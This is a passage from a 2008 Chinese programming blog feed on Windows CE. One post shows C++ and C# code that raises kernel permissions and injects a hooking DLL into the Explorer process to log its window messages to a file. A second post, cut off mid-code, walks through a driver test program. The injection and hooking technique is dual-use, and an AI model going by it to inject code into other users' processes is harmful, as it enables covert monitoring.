            <p>//对指定的窗口进程进行挂接<br>int __declspec(dllexport) WINAPI fnAttachWinProc(HWND ni_hAttatchWin,<br>PVOID ni_0,<br>PVOID ni_1,<br>PVOID ni_2 )<br>{<br>　DEFUDT_AttachWinInfo tudtAttachWinInfo;<br>　m_pDebugOutputFile = fopen("\\Storage Card\\WinProcInfo.txt", "w");<br>　WNDPROC tpOldWindowProc=(WNDPROC)::SetWindowLong(ni_hAttatchWin, GWL_WNDPROC,(LONG) fnHookWindowProc );<br>　fprintf(m_pDebugOutputFile,"Attatch successfully! OldWindowProc: %08X\n",tpOldWindowProc);<br>　tudtAttachWinInfo.OldWinProc=tpOldWindowProc ;<br>　tudtAttachWinInfo.WindowHandle=ni_hAttatchWin;<br>　m_aAttachWinInfoMap.SetAt(ni_hAttatchWin,tudtAttachWinInfo);<br>　fclose(m_pDebugOutputFile);<br>　return 77;// (int)tpOldWindowProc ;<br>}//end function</p>
            <p>int __declspec(dllexport) WINAPI fnDetachWinMsgProc(HWND ni_hDetachWin)<br>{<br>　DEFUDT_AttachWinInfo tudtAttachWinInfo;<br>　WNDPROC tpOldWindowProc;</p>
            <p>　//取得在ncf中消息接收窗口对应的原始消息处理函数的函数指针<br>　m_aAttachWinInfoMap.Lookup(ni_hDetachWin,tudtAttachWinInfo) ;</p>
            <p>　//将窗体的消息处理函数设为默认的处理过程<br>　tpOldWindowProc =(WNDPROC) SetWindowLong(ni_hDetachWin,GWL_WNDPROC , (LONG)tudtAttachWinInfo.OldWinProc);</p>
            <p>　//将挂接信息消息处理映谢类中删除<br>　m_aAttachWinInfoMap.RemoveKey(ni_hDetachWin);</p>
            <p>　return (int)tpOldWindowProc ;</p>
            <p>}//end function</p>
            <p><br>LRESULT CALLBACK fnHookWindowProc(HWND hwnd,UINT msg,WPARAM wparam, LPARAM lparam)<br>{<br>　DEFUDT_AttachWinInfo tudtAttachWinInfo;<br>　m_aAttachWinInfoMap.Lookup(hwnd,tudtAttachWinInfo) ;<br>　m_pDebugOutputFile = fopen("\\Storage Card\\WinProcInfo.txt", "a");<br>　if (m_pDebugOutputFile!=NULL)<br>　{<br>　　fprintf(m_pDebugOutputFile,"HWND: %08X Msg: %08X Wparam %08X Lparam %08X \n",<br>hwnd,msg,wparam,lparam);</p>
            <p>　}//EHD IF</p>
            <p>　fclose(m_pDebugOutputFile);<br>　//tudtAttachWin=maatt<br>　LRESULT tobjResult= ::CallWindowProc(tudtAttachWinInfo.OldWinProc ,hwnd,msg,wparam,lparam);<br>　return tobjResult;<br>}//end function <br></p>
            </td>
        </tr>
    </tbody>
</table>
<p>而在C#的主程序中，我们使用这个DLL挂接explore类的程序窗体，以下给出挂接部分的代码：</p>
<table border="0" width="80%">
    <tbody>
        <tr>
            <td class="content" bgcolor="#cccccc">
            <p>int m_hTargetWindow;//要挂接的目标窗体句柄<br>IntPtr m_hTargetProcess;//目标窗体所属的进程<br>IntPtr m_hModule; //挂接DLL的句柄</p>
            <p>private void Form1_Load(object sender, EventArgs e)<br>{<br>　IntPtr tpTemp = IntPtr.Zero, tpTempa = IntPtr.Zero;<br>　uint tuntApiRet;</p>
            <p>　m_hTargetWindow = (int)clsCECoreAPI.FindWindow("Explore", null );//资源管理器 0x0013e800;</p>
            <p>　//挂接指定的进程窗体消息<br>　IntPtr thCurrentProcess = clsCECoreAPI.GetCurrentProcess();<br>　m_hTargetProcess=IntPtr.Zero ;// (IntPtr) (unchecked((int)0xedd84e4a));<br>　tuntApiRet= clsCECoreAPI.GetWindowThreadProcessId(new IntPtr(unchecked((int) m_hTargetWindow)),<br>ref m_hTargetProcess);</p>
            <p>　string tstrArgument;<br>　tstrArgument = "\\Program Files\\processinject\\HookWindowsProcMFCDLL.dll";// HookWindowsProcMFCDLL.dll";<br>　IntPtr tpArg0;</p>
            <p>　int tintOriginalKMode = clsCECoreAPI.SetKMode(1);<br>　int tintOriginalProcPermission = (int)clsCECoreAPI.SetProcPermissions(0xffffffff);</p>
            <p>　IntPtr tpFuncProc = clsCECoreAPI.GetProcAddress(clsCECoreAPI.GetModuleHandle("coredll.dll"), "LoadLibraryW");</p>
            <p>　CallBackInfo tudtCALLBACKINFO;</p>
            <p>　tpArg0 = clsCECoreAPI.MapPtrToProcess(tstrArgument, thCurrentProcess);</p>
            <p>　tudtCALLBACKINFO.hProc = m_hTargetProcess;// Proc;<br>　tudtCALLBACKINFO.pfn = clsCECoreAPI.MapPtrToProcess(tpFuncProc, m_hTargetProcess);<br>　tudtCALLBACKINFO.pvArg0 = tpArg0;<br>　m_hModule =new IntPtr(unchecked(<br>(int) clsCECoreAPI.PerformCallBack4(ref tudtCALLBACKINFO,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero )));<br>　//clsCECoreAPI.Sleep(1000);</p>
            <p>　IntPtr thModule = clsCECoreAPI.LoadLibrary("HookWindowsProcMFCDLL.dll");<br>　tpFuncProc = clsCECoreAPI.GetProcAddress(thModule, "fnAttachWinProc");</p>
            <p>　tpArg0 = (IntPtr) m_hTargetWindow;// clsCECoreAPI.MapPtrToProcess(ref thTargetWindow, thCurrentProcess);</p>
            <p>　tudtCALLBACKINFO.hProc = m_hTargetProcess;<br>　tudtCALLBACKINFO.pfn = clsCECoreAPI.MapPtrToProcess(tpFuncProc, m_hTargetProcess);<br>　tudtCALLBACKINFO.pvArg0 = tpArg0 ;<br>　tuntApiRet = clsCECoreAPI.PerformCallBack4(ref tudtCALLBACKINFO,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero );<br>　//clsCECoreAPI.Sleep(5000);<br>}</p>
            <p>[DllImport("HookWindowsProcMFCDLL.dll")]<br>public static extern int fnAttachWinProc(IntPtr ni_hAttatchWin);</p>
            <p>[DllImport("HookWindowsProcMFCDLL.dll")]<br>public static extern int fnDetachWinMsgProc(IntPtr ni_hDetachWin); </p>
            </td>
        </tr>
    </tbody>
</table>
<p>取消挂接的代码根据上述代码很容易就可以建立，不再细叙。</p>
<p>注：clsCECoreAPI的函数全是封装的标准CE API，由于这些API在msdn 中都有详细的文档注释，因篇幅所限，不再将代码一一列举.</p>
<p>在执行这个程序时，将模拟器的共享路径设为PC机的桌面，这样模拟器的storage card目录就等同桌面了，点模拟器的开始菜单，选程序，你就可以看到explore窗体的消息都输出到桌面的WinProcInfo.txt文件中了，运行结果如下：<br><br>　<img  src="http://www.uml.org.cn/embeded/images/42c0m7vf8195s.jpg" border="0" height="388" width="500">　 <br><br>　目前本程序只在PPC2003/wm5 for PPC测试通过,由于smartphone系统在编译时使用了和ppc系统不同的机制，内存运作不明，本程序在smartphone上无法正确运行，有好的建议的话请指教一二,谢谢. </p><img src ="http://www.cppblog.com/zjj2816/aggbug/58806.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/zjj2816/" target="_blank">井泉</a> 2008-08-14 09:29 <a href="http://www.cppblog.com/zjj2816/archive/2008/08/14/58806.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MapPtrToProcess 用法  WINCE驱动分析3 转</title><link>http://www.cppblog.com/zjj2816/archive/2008/08/14/58805.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Thu, 14 Aug 2008 01:28:00 GMT</pubDate><guid>http://www.cppblog.com/zjj2816/archive/2008/08/14/58805.html</guid><wfw:comment>http://www.cppblog.com/zjj2816/comments/58805.html</wfw:comment><comments>http://www.cppblog.com/zjj2816/archive/2008/08/14/58805.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/zjj2816/comments/commentRss/58805.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/zjj2816/services/trackbacks/58805.html</trackback:ping><description><![CDATA[<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span style="font-family: 宋体;">可以使用下面的应用程序代码测试这个</span><span lang="EN-US"><font face="Times New Roman">driver</font></span><span style="font-family: 宋体;">，使用</span><span lang="EN-US"><font face="Times New Roman">evc</font></span><span style="font-family: 宋体;">编译。</span></font></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">#include &lt;windows.h&gt;</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">#include&lt;Windev.h&gt;</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">#include &lt;stdio.h&gt;</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">#include "objbase.h"</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">#include "initguid.h"</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">#include "foo.h"</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">//char data1[10];</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">int<span>&nbsp; </span>WinMain(void)</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">{</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>HANDLE hnd;</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>COPY_STRUCT cs[1];</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>int i;</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>//static char data1[10];</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp; </span>auto char data1[10];</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>auto char data2[10];</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>static char* p1,*p2;</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>//cs.pBuffer1 = (char *)malloc(10);</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>//cs.pBuffer2 = (char*)malloc(10);</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>//cs.nLen = 10;</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>p1 = (char *)LocalAlloc(LPTR,10);</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>p2 = (char *)malloc(10);</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>//cs[0].pBuffer1 = (char *)malloc(10);</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>//cs[0].pBuffer2 = (char*)malloc(10);</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>cs[0].pBuffer1 = &amp;data1[0];</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>cs[0].pBuffer2 = &amp;data2[0];</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>cs[0].nLen = 10;</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>memset(cs[0].pBuffer1,'a',10);</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>hnd = CreateFile(FOO_DEV_NAME,GENERIC_READ|GENERIC_WRITE,0,NULL,0,0,NULL);</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>if(hnd==NULL)</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>{</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>printf("Open device falied!\n");</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>return;</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>}</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>DeviceIoControl(hnd,IOCTL_FOO_XER,&amp;cs[0],sizeof(COPY_STRUCT),NULL,0,NULL,NULL);</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>//for(i=0;i&lt;9;i++)</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>//{</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>//printf(" %c",*(cs.pBuffer2++));</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>//}</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>printf("\n");</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>CloseHandle(hnd);</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">//<span>&nbsp; </span>free(cs[0].pBuffer1);</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">//<span>&nbsp; </span>free(cs[0].pBuffer2);</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">}</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span style="font-family: 宋体;">可以通过</span><span lang="EN-US"><font face="Times New Roman">evc</font></span><span style="font-family: 宋体;">的单步调试看结果。好了一切都完成了，我们来看看系统是怎么工作的吧，从应用程序开始，</span></font></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">CreateFile(FOO_DEV_NAME,GENERIC_READ|GENERIC_WRITE,0,NULL,0,0,NULL);</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span style="font-family: 宋体;"><font size="3">会调用到</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">FOO_Open(DWORD dwContext, DWORD AccessCode, DWORD ShareMode)</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span style="font-family: 宋体;">而</span><span lang="EN-US"><font face="Times New Roman">FOO_DEV_NAME</font></span><span style="font-family: 宋体;">名字定义在</span><span lang="EN-US"><font face="Times New Roman">foo.h</font></span><span style="font-family: 宋体;">里面。</span></font></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">#define<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>FOO_DEV_NAME<span> </span>L"Foo1:"</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span style="font-family: 宋体;">注意后面是</span><span lang="EN-US"><font face="Times New Roman"> 1 ,</font></span><span style="font-family: 宋体;">这个是和注册表的这一项匹配的</span></font></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">"Index"=dword:1</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span style="font-family: 宋体;">当调用</span><span lang="EN-US"><font face="Times New Roman">CreateFile</font></span><span style="font-family: 宋体;">发生了什么，</span><span lang="EN-US"><font face="Times New Roman">slot</font></span><span style="font-family: 宋体;">之间的转换，一系列系统操作后，调用到我们自己的</span><span lang="EN-US"><font face="Times New Roman">driver</font></span><span style="font-family: 宋体;">函数</span><span lang="EN-US"><font face="Times New Roman">FOO_Open</font></span><span style="font-family: 宋体;">，在这个函数里我们返回了一个句柄，它可以用来存储我们的自己</span><span lang="EN-US"><font face="Times New Roman">driver</font></span><span style="font-family: 宋体;">的信息。在其它</span><span lang="EN-US"><font face="Times New Roman">I/O</font></span><span style="font-family: 宋体;">操作中可以使用。</span></font></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span lang="EN-US"><font face="Times New Roman">Driver</font></span><span style="font-family: 宋体;">什么时候加载的？在注册表里，</span><span lang="EN-US"><font face="Times New Roman">device manager</font></span><span style="font-family: 宋体;">会一个个的加载，会调用到</span><span lang="EN-US"><font face="Times New Roman">FOO_Init</font></span><span style="font-family: 宋体;">函数。这个函数返回一个指针，在调用</span><span lang="EN-US"><font face="Times New Roman">FOO_Open</font></span><span style="font-family: 宋体;">又传回来了，这样我们就可以实现初始化一些自己</span><span lang="EN-US"><font face="Times New Roman">driver</font></span><span style="font-family: 宋体;">的东西。</span></font></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span style="font-family: 宋体;"><font size="3">接着一个重要的函数，</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">DeviceIoControl(hnd,IOCTL_FOO_XER,&amp;cs[0],sizeof(COPY_STRUCT),NULL,0,NULL,NULL);</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span style="font-family: 宋体;"><font size="3">调用到</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">FOO_IOControl</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span style="font-family: 宋体;"><font size="3">走到这里</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">case IOCTL_FOO_XER:</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if((pInBuf==NULL))</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>SetLastError(ERROR_INVALID_PARAMETER);</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>break;</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>pcs = (COPY_STRUCT*)pInBuf;</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></font></font></span></p>
